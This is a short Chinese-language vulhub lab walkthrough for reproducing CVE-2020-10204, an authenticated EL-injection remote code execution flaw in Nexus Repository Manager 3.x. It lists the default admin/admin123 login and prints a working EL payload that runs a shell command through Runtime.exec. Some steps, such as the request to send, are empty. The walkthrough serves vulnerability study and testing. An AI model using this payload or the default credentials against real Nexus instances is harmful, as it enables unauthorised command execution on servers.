vulhub-nexus-cve-2020-10204

1、漏洞描述：

Sonatype Security Team官方发布了一则关于Nexus Repository Manager 3.x产品的远程代码执行漏洞通告。攻击者在通过身份认证的情况下，可通过EL表达式注入造成远程代码执行，漏洞点在 org.sonatype.nexus.common.template.EscapeHelper#stripJavaEl 被绕过，需管理员权限

2、登录网址

http://x.x.x.x:8081

3、登录账户

默认的登录用户名和密码是admin/admin123

4、复制当前Cookie和CSRF Token，发送如下数据包，即可执行EL表达式：

5、进入容器

6、使用表达式：

$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}即可成功执行任意命令：

7、看到success即为复现成功